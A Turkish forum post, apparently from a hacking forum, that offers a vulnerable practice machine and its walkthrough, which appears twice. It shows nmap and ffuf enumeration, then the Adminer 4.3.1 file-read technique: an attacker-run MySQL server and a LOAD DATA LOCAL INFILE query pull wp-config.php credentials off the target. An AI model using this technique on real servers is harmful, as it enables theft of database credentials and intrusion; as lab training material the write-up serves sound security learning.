Bugün imha timi için bir zafiyetli makine geliştirdim ve onun nasıl çözüldüğünü anlatacağım.
Ek olarak bu makineler bug bounty süreçlerinde karşıma çıkan güvenlik zafiyetlerini temel alarak geliştiriyorum.
Makine Ismi: Kelebek
İndirme linki: https://easyupload.io/2swzxo
İndirme parolası: imhatimi
Eğer kurulumda bi sorun olursa bana yazın düzelteyim.
Kurulum: Virtualbox sanallaştırma yazılımı üzerinde çalışır. Virtualbox açıp indirdiğiniz ova dosyasını Import etmeniz yeterli eğer isterseniz ağ tercihini Bridge ya da NAT ağı olarak ayarlabilirsiniz. Sonrasında makineyi virtualbox üzerinden başlatın ve artık o makine login ekranını gördükten sonra ellemeyin. Bütün güvenlik testi işlemleri sizin saldırgan makinenizde yapılacaktır. (Size ait LAN içerisinde ARP taraması gerçekleştirerek hedef sistemin IP adresini elde edebilirsiniz)
Makine zorluğu: 1 (Kolay makine)
Önerilen sistem gereksinimleri: en az 8GB Ram, ve en az 2 çekirdekli işlemci.
100 Coin koyma sebebim biraz foruma katkı sunmanız içindir ancak bir yere flag koydum ve bu flagi bulan kişilere 100 coini geri yolluyorum.
Flagi özel mesaj olarak yollayın.
Öncelikle kendiniz çözmeye çalışın sonra gelip benim makaleyi okuyun bu sayede öğrenme süreci daha akılda kalıcı olacaktır.
[CHARGE=100]
IP Adresi:
1- Bilgi Toplama Aşaması
1.1- TCP/IP modeli üzerindeki açık portları taradığımızda sadece 80 portunun dış dünyadan dinlenildiğini yani erişilebildiğini görmekteyiz.
1.2- Web uygulamasını açtığımızda varsayılan bir apache2 yazılımının kurulumunda gelen sayfayı görebiliyoruz.

1.3- Bu alanda fazla bir saldırı vektörümüz bulunmadığından web server üzerindeki gizli pathleri enumerate etmeliyiz.
1.4- phpinfo.php klasik bir phpinfo fonksiyonunu çalıştıran bir uygulama pek bir atak vektörü yok. blog diye bir path bulduk işe yarayabilir ve bu web uygulamasını incelediğimizde bunun wordpress yazılımı olduğunu anlamaktayız. db adlı bir path bulduk sayfa içeriği boş.


1.5- db adlı bir path bulmuştuk ancak sayfa içeriği boş dolayısıyla ya wordpress üzerine yoğunlaşmalıyız ya da burada da bir file veya path taraması yapmalıyız.

1.6- adminer diye bir klasör bulduk ve anlaşılan bu sayfada adminer.php uygulaması yüklü. (İnternette yapılan araştırmalar sonucu adminer.php veritabanı işlemleri yapmamıza sağlayan bir yazılımdır)

Sonuç olarak: Şuana kadar yapılan bilgi toplama işlemlerine göre 2 farklı web uygulaması elimizde wordpress ve adminer. Wordpress uygulamasına da bakabiliriz adminer uygulamasına da. Ben burada adminer'i seçtim çünkü Adminer 4.3.1 sürümü yüklü ve araştırmalarım sonucu son sürüm(4.8.1) olmadığını gördüm yani bu adminer yazılımın eski sürümlerinde bir zafiyet araştırabiliriz nitekimde öyle yaptım ve araştırmalarım sonucu bu sürümü de etkileyen bir zafiyet buldum.
Referans kaynakları incelediğimizde adım adım nasıl exploitation gerçekleştirebileceğimizi anlatan bir websayfası buldum.
2- Exploitation Aşaması
1- PoC üzerinde verilen SQL queryisini incelediğimde bunun sistemde bir dosya okuyup çıktısını bir veritabanına kaydettiğini görmekteyiz.

2. Adminer uygulamasının anasayfasını açtığımızda istediğimiz sunucudaki veritabanına bağlanmamıza izin verdiğini görmekteyiz. Bu durumda eğer ben adminer üzerinden kendi veritabanıma bağlanıp test edilen sunucudaki local dosyaları okumaya çalışıp bunun çıktısınıda kendi veritabanımdaki bir tabloya yönlendirirsem hedef sunucudan dosya okuyabilir miyim? bir deneyelim.
Öncelikle bize bir tane kontrol edebileceğimiz bir MySQL sunucusu lazım bunu kendi bilgisayarımda ayağa kaldırıp gerekli konfigurasyonları yaparak, hedef sunucu üzerinden kendi bilgisayarımızdaki mysql servera bağlanabiliriz.
3- Tmm kendi sunucumuz üzerinde gerekli ayarlamaları yaptık şimdi bağlanıp test edelim zafiyeti.

4- Hedef sunucudaki adminer yazılımı ile kendi sunucumuzdaki mysql servisine bağlandıktan sonra SQL kodlarını çalıştıracağımız sayfayı açıyor sonrasında hangi dosyayı okumak istediğimiz ve hangi tabloya kaydedileceğini yazıyoruz ve en son olarak SQL kodlarını çalıştırıyoruz.

5- Çalıştırdıktan sonra 35 Satırın tablomuza eklendiğini görüyoruz bu da demekki başarıyla işlemi yaptık tabloyu adminer üzerinden açıp inceliyoruz.

Tamamdır başarıyla hedef sistem üzerindeki dosyaları okuyup kendi mysql sunucumuzdaki tabloya aktarabildik.
6- Şimdi hangi dosyayı okuyacağız dosya okumadan sonra ne yapabilirizki? Arkadaşlar çoğu web uygulamasında bir ayar dosyası vardır bu dosya genelde config.php configuration.php veya .env dosyasındadır. Ve biz bilgi toplama aşamasından şunu da biliyoruz burada adminer tek yüklü değil wordpresste yüklü. O zaman gidip wordpress config dosyasını(wp-config.php) okuyalım ve hedef sistemdeki mysql servisine adminer aracılığıyla bağlanalım.
Peki bu wordpress configuration bilgilerini dosya yolunu nereden bileceğiz. İşte burada da bilgi toplama aşamasından elde ettiğimiz phpinfo websayfasını hatırlıyor musunuz? Oradaki DOCUMENT_ROOT bilgisi aslında sunucunun webroot pathini belirtiyor.
Sonuç olarak çalıştıracağımız SQL kodu:
Ve dosya içeriğini okuduğumuzda SQL config bilgilerini görüyoruz. (Adminerde tabloya bakarken 2. sayfaya tıklayın orada gözükecektir bilgiler)

Sonrasında ise adminer aracılığıyla hedef sisteme ait MySQL servisine bu kullanıcı adı ve parola bilgisiyle bağlanıp wordpress bilgilerini görmekteyiz. Buradan sonra türlü türlü senaryolar çıkar ama siz mantığı kavramaya bakın şuana kadar neler yaptık diye.
Flag o SQL kullanıcısına ait flag veritabanı içerisinde, o flagi bana özel mesaj olarak gönderen kişilerin 100 coinini geri iade edeyim.
[/CHARGE]
Ek olarak bu makineler bug bounty süreçlerinde karşıma çıkan güvenlik zafiyetlerini temel alarak geliştiriyorum.
Makine Ismi: Kelebek
İndirme linki: https://easyupload.io/2swzxo
İndirme parolası: imhatimi
Eğer kurulumda bi sorun olursa bana yazın düzelteyim.
Kurulum: Virtualbox sanallaştırma yazılımı üzerinde çalışır. Virtualbox açıp indirdiğiniz ova dosyasını Import etmeniz yeterli eğer isterseniz ağ tercihini Bridge ya da NAT ağı olarak ayarlabilirsiniz. Sonrasında makineyi virtualbox üzerinden başlatın ve artık o makine login ekranını gördükten sonra ellemeyin. Bütün güvenlik testi işlemleri sizin saldırgan makinenizde yapılacaktır. (Size ait LAN içerisinde ARP taraması gerçekleştirerek hedef sistemin IP adresini elde edebilirsiniz)
Makine zorluğu: 1 (Kolay makine)
Önerilen sistem gereksinimleri: en az 8GB Ram, ve en az 2 çekirdekli işlemci.
100 Coin koyma sebebim biraz foruma katkı sunmanız içindir ancak bir yere flag koydum ve bu flagi bulan kişilere 100 coini geri yolluyorum.
Flagi özel mesaj olarak yollayın.
Öncelikle kendiniz çözmeye çalışın sonra gelip benim makaleyi okuyun bu sayede öğrenme süreci daha akılda kalıcı olacaktır.
[CHARGE=100]
IP Adresi:
1- Bilgi Toplama Aşaması
1.1- TCP/IP modeli üzerindeki açık portları taradığımızda sadece 80 portunun dış dünyadan dinlenildiğini yani erişilebildiğini görmekteyiz.
Kod:
$ sudo nmap -sS -sV -sC 192.168.1.21 -Pn -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-14 10:07 EDT
Nmap scan report for kelebek (192.168.1.21)
Host is up (0.000090s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 08:00:27:B6:DA:A7 (Oracle VirtualBox virtual NIC)
1.2- Web uygulamasını açtığımızda varsayılan bir apache2 yazılımının kurulumunda gelen sayfayı görebiliyoruz.

1.3- Bu alanda fazla bir saldırı vektörümüz bulunmadığından web server üzerindeki gizli pathleri enumerate etmeliyiz.
Kod:
$ ffuf -u http://192.168.1.21/FUZZ -w /opt/raft-large-files.txt -mc all -fc 404,403
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.4.1-dev
________________________________________________
:: Method : GET
:: URL : http://192.168.1.21/FUZZ
:: Wordlist : FUZZ: /opt/raft-large-files.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response status: 404,403
________________________________________________
index.html [Status: 200, Size: 10671, Words: 3496, Lines: 364, Duration: 0ms]
. [Status: 200, Size: 10671, Words: 3496, Lines: 364, Duration: 1ms]
phpinfo.php [Status: 200, Size: 84482, Words: 4246, Lines: 993, Duration: 320ms]
:: Progress: [37050/37050] :: Job [1/1] :: 4545 req/sec :: Duration: [0:00:07] :: Errors: 1 ::
Kod:
$ ffuf -u http://192.168.1.21/FUZZ -w /opt/raft-large-directories.txt -mc all -fc 404,403
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.4.1-dev
________________________________________________
:: Method : GET
:: URL : http://192.168.1.21/FUZZ
:: Wordlist : FUZZ: /opt/raft-large-directories.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response status: 404,403
________________________________________________
blog [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 0ms]
db [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 4ms]
[Status: 200, Size: 10671, Words: 3496, Lines: 364, Duration: 0ms]
[Status: 200, Size: 10671, Words: 3496, Lines: 364, Duration: 20ms]
[Status: 200, Size: 10671, Words: 3496, Lines: 364, Duration: 12ms]
:: Progress: [62284/62284] :: Job [1/1] :: 4118 req/sec :: Duration: [0:00:11] :: Errors: 3 ::


1.5- db adlı bir path bulmuştuk ancak sayfa içeriği boş dolayısıyla ya wordpress üzerine yoğunlaşmalıyız ya da burada da bir file veya path taraması yapmalıyız.

Kod:
$ffuf -u http://192.168.1.21/db/FUZZ -w ~/opt/raft-large-directories.txt -mc all -fc 404,403
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.4.1-dev
________________________________________________
:: Method : GET
:: URL : http://192.168.1.21/db/FUZZ
:: Wordlist : FUZZ: /opt/raft-large-directories.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response status: 404,403
________________________________________________
[Status: 200, Size: 1, Words: 1, Lines: 2, Duration: 1ms]
adminer [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 3ms]
[Status: 200, Size: 1, Words: 1, Lines: 2, Duration: 6ms]
[Status: 200, Size: 1, Words: 1, Lines: 2, Duration: 14ms]
:: Progress: [62284/62284] :: Job [1/1] :: 6057 req/sec :: Duration: [0:00:11] :: Errors: 3 ::

Sonuç olarak: Şuana kadar yapılan bilgi toplama işlemlerine göre 2 farklı web uygulaması elimizde wordpress ve adminer. Wordpress uygulamasına da bakabiliriz adminer uygulamasına da. Ben burada adminer'i seçtim çünkü Adminer 4.3.1 sürümü yüklü ve araştırmalarım sonucu son sürüm(4.8.1) olmadığını gördüm yani bu adminer yazılımın eski sürümlerinde bir zafiyet araştırabiliriz nitekimde öyle yaptım ve araştırmalarım sonucu bu sürümü de etkileyen bir zafiyet buldum.
Referans kaynakları incelediğimizde adım adım nasıl exploitation gerçekleştirebileceğimizi anlatan bir websayfası buldum.
2- Exploitation Aşaması
1- PoC üzerinde verilen SQL queryisini incelediğimde bunun sistemde bir dosya okuyup çıktısını bir veritabanına kaydettiğini görmekteyiz.

2. Adminer uygulamasının anasayfasını açtığımızda istediğimiz sunucudaki veritabanına bağlanmamıza izin verdiğini görmekteyiz. Bu durumda eğer ben adminer üzerinden kendi veritabanıma bağlanıp test edilen sunucudaki local dosyaları okumaya çalışıp bunun çıktısınıda kendi veritabanımdaki bir tabloya yönlendirirsem hedef sunucudan dosya okuyabilir miyim? bir deneyelim.
Öncelikle bize bir tane kontrol edebileceğimiz bir MySQL sunucusu lazım bunu kendi bilgisayarımda ayağa kaldırıp gerekli konfigurasyonları yaparak, hedef sunucu üzerinden kendi bilgisayarımızdaki mysql servera bağlanabiliriz.
Kod:
$ sudo service mysql start
$ sudo mysql -uroot
-> CREATE DATABASE ruhsuz31ci;
-> CREATE TABLE ruhsuz31ci_tablosu(icerik VARCHAR(12345));
$ # Eğer sizde MySQL servisi LAN dışarısına açık değilse aşağıdaki gibi konfigüre ederek tüm internete erişilebilir yapabilirsiniz.
$ cat /etc/mysql/mariadb.conf.d/50-server.cnf | grep bind
bind-address = 0.0.0.0
3- Tmm kendi sunucumuz üzerinde gerekli ayarlamaları yaptık şimdi bağlanıp test edelim zafiyeti.

4- Hedef sunucudaki adminer yazılımı ile kendi sunucumuzdaki mysql servisine bağlandıktan sonra SQL kodlarını çalıştıracağımız sayfayı açıyor sonrasında hangi dosyayı okumak istediğimiz ve hangi tabloya kaydedileceğini yazıyoruz ve en son olarak SQL kodlarını çalıştırıyoruz.

5- Çalıştırdıktan sonra 35 Satırın tablomuza eklendiğini görüyoruz bu da demekki başarıyla işlemi yaptık tabloyu adminer üzerinden açıp inceliyoruz.

Tamamdır başarıyla hedef sistem üzerindeki dosyaları okuyup kendi mysql sunucumuzdaki tabloya aktarabildik.
6- Şimdi hangi dosyayı okuyacağız dosya okumadan sonra ne yapabilirizki? Arkadaşlar çoğu web uygulamasında bir ayar dosyası vardır bu dosya genelde config.php configuration.php veya .env dosyasındadır. Ve biz bilgi toplama aşamasından şunu da biliyoruz burada adminer tek yüklü değil wordpresste yüklü. O zaman gidip wordpress config dosyasını(wp-config.php) okuyalım ve hedef sistemdeki mysql servisine adminer aracılığıyla bağlanalım.
Peki bu wordpress configuration bilgilerini dosya yolunu nereden bileceğiz. İşte burada da bilgi toplama aşamasından elde ettiğimiz phpinfo websayfasını hatırlıyor musunuz? Oradaki DOCUMENT_ROOT bilgisi aslında sunucunun webroot pathini belirtiyor.
Sonuç olarak çalıştıracağımız SQL kodu:
Kod:
LOAD DATA local INFILE '/var/www/html/blog/wp-config.php' INTO TABLE ruhsuz31ci_tablosu fields TERMINATED BY "\n";
Ve dosya içeriğini okuduğumuzda SQL config bilgilerini görüyoruz. (Adminerde tabloya bakarken 2. sayfaya tıklayın orada gözükecektir bilgiler)

Sonrasında ise adminer aracılığıyla hedef sisteme ait MySQL servisine bu kullanıcı adı ve parola bilgisiyle bağlanıp wordpress bilgilerini görmekteyiz. Buradan sonra türlü türlü senaryolar çıkar ama siz mantığı kavramaya bakın şuana kadar neler yaptık diye.
Flag o SQL kullanıcısına ait flag veritabanı içerisinde, o flagi bana özel mesaj olarak gönderen kişilerin 100 coinini geri iade edeyim.
[/CHARGE]
Bu içeriği görmek için giriş yapın.